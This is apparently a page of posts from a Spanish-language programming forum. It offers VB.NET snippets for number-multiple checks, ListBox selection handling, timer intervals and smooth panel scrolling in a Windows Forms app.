  13.        Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
  14.        Return sb.ToString()
  15.    End Function
  16.  
  17. #End Region




Comprueba si un numero es multiplo de otro

Código
  1.    #Region " Number Is Multiple? "
  2.  
  3.       ' [ Number Is Multiple? Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
  9.       ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
  10.  
  11.    Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
  12.        Return (Number Mod Multiple = 0)
  13.    End Function
  14.  
  15.    #End Region



Comprueba si un numero es divisible por otro

Código
  1.    #Region " Number Is Divisible? "
  2.  
  3.       ' [ Number Is Divisible? Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
  9.       ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
  10.  
  11.    Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
  12.        Return (Number Mod Divisible = 0)
  13.    End Function
  14.  
  15.  
  16.    #End Region
9127  Programación / .NET (C#, VB.NET, ASP) / Re: ayuda para hacer un traductor de palabras en visual basic.net en: 2 Junio 2013, 03:42 am
offline u online?

...GoogleTranslate es sencillo.

Saludos!
9128  Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox en: 1 Junio 2013, 21:51 pm
1. Crea una variable numérica de tipo Long que contiendrá ms (por poner un ejemplo)
Código:
Dim ms as int64 = 0

2. En el select case del ejemplo aumentas o disminuyes el valor de la variable como quieras, cada "case" es para cada uno de los items.
Código:
Case 0 : ms +=5
Case 1 : ms +=10
Case 2 : ms +=15
Esa es la parte donde más cuidado has de tener.

3. Por último modificas el intervalo del timer por los ms que contiene la variable que contiene la variable que hemos creado.
Código:
 timer1.interval = ms 

slaudos!
9129  Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox en: 1 Junio 2013, 21:42 pm
Pues yo no lo entiendo, porque lo que defines como propiedades no son propiedades, la pregunta es bastante confusa,
de todas formas te hice un ejemplo:

Básicamente debes comprobar el índice del item que está seleccionado en el listbox, hay un evento que maneja eso, y ahí ya haces lo que desees...

Código
  1. Public Class Form1
  2.  
  3.    Dim Items() As String = {"Time 1", "Time 2", "Time 3"}
  4.    Dim WithEvents ListaTime1 As New ListBox, ListaTime2 As New ListBox
  5.  
  6.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  7.        For Each item In Items : ListaTime1.Items.Add(item) : ListaTime2.Items.Add(item) : Next
  8.        Me.Controls.Add(ListaTime1) : Me.Controls.Add(ListaTime2)
  9.        ListaTime1.Dock = DockStyle.Left : ListaTime2.Dock = DockStyle.Right
  10.        Me.Size = New Point(280, 100)
  11.    End Sub
  12.  
  13.    Private Sub Listas_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _
  14.                                                                              ListaTime1.SelectedIndexChanged, _
  15.                                                                              ListaTime2.SelectedIndexChanged
  16.        Select Case sender.SelectedIndex
  17.            Case 0 : MsgBox(sender.SelectedItem)
  18.            Case 1 : MsgBox(sender.SelectedItem)
  19.            Case 2 : MsgBox(sender.SelectedItem)
  20.            Case Else
  21.        End Select
  22.  
  23.    End Sub
  24.  
  25. End Class

Salu2
9130  Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes? en: 1 Junio 2013, 17:53 pm
Ahora que leo ese último comentario, se me olvidó pasarte el form del video xD:

Añade en el form:
1 un panel y métele pictureboxes
1 botón para scrollear hacia arriba
1 botón apra scrollear hacia abajo

Código
  1. Public Class Form1
  2.  
  3.    Dim Scroll_Position As Int32 = 0
  4.    Dim Button_Down_Is_Pressed As Boolean = False
  5.    Dim Button_Up_Is_Pressed As Boolean = False
  6.    Dim WithEvents Progressive_Scroll_Timer As New Timer
  7.    Dim SmallChange As Int32 = 5
  8.    Dim Largechange As Int32 = 10
  9.  
  10.    ' Sub which reduces the Flickering, but this sub makes x20 times slower any operation of any Form/Application.
  11.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  12.        Get
  13.            Dim cp As CreateParams = MyBase.CreateParams
  14.            cp.ExStyle = cp.ExStyle Or &H2000000
  15.            Return cp
  16.        End Get
  17.    End Property 'CreateParams
  18.  
  19.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  20.        Me.ResumeLayout(False)
  21.        Panel1.ResumeLayout(False)
  22.  
  23.        Panel1.VerticalScroll.Maximum = 999999999
  24.        Progressive_Scroll_Timer.Interval = 50
  25.        Panel1.BackColor = Color.FromArgb(150, 0, 0, 0)
  26.    End Sub
  27.  
  28.    Private Sub Panel_MouseHover(sender As Object, e As EventArgs) Handles Panel1.MouseHover
  29.        sender.focus()
  30.    End Sub
  31.  
  32.    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Progressive_Scroll_Timer.Tick
  33.        If Button_Down_Is_Pressed Then
  34.            Scroll_Down(SmallChange)
  35.        ElseIf Button_Up_Is_Pressed Then
  36.            Scroll_Up(SmallChange)
  37.        Else
  38.            sender.stop()
  39.        End If
  40.    End Sub
  41.  
  42.    Private Sub Scroll_Up(ByVal Change As Int32)
  43.        Scroll_Position -= Change
  44.        Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position += Change : End Try
  45.    End Sub
  46.  
  47.    Private Sub Scroll_Down(ByVal Change As Int32)
  48.        Scroll_Position += Change
  49.        Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position -= Change : End Try
  50.    End Sub
  51.  
  52.    Private Sub Button_Down_MouseDown(sender As Object, e As MouseEventArgs) Handles Button2.MouseDown
  53.        If e.Button = Windows.Forms.MouseButtons.Left Then
  54.            Button_Down_Is_Pressed = True
  55.            Progressive_Scroll_Timer.Start()
  56.        End If
  57.    End Sub
  58.  
  59.    Private Sub Button_Up_MouseDown(sender As Object, e As MouseEventArgs) Handles Button1.MouseDown
  60.        If e.Button = Windows.Forms.MouseButtons.Left Then
  61.            Button_Up_Is_Pressed = True
  62.            Progressive_Scroll_Timer.Start()
  63.        End If
  64.    End Sub
  65.  
  66.    Private Sub Button_Down_MouseUp(sender As Object, e As MouseEventArgs) Handles Button2.MouseUp
  67.        Button_Down_Is_Pressed = False
  68.    End Sub
  69.  
  70.    Private Sub Button_Up_MouseUp(sender As Object, e As MouseEventArgs) Handles Button1.MouseUp
  71.        Button_Up_Is_Pressed = False
  72.    End Sub
  73.  
  74.    Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles Panel1.MouseWheel
  75.        If Panel1.Focused Then
  76.            Select Case Math.Sign(e.Delta)
  77.                Case Is > 0 : Scroll_Up(Largechange)
  78.                Case Is < 0 : Scroll_Down(Largechange)
  79.            End Select
  80.        End If
  81.    End Sub
  82.  
  83. End Class

salu2
Páginas: 1 ... 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 [913] 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 ... 1254
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines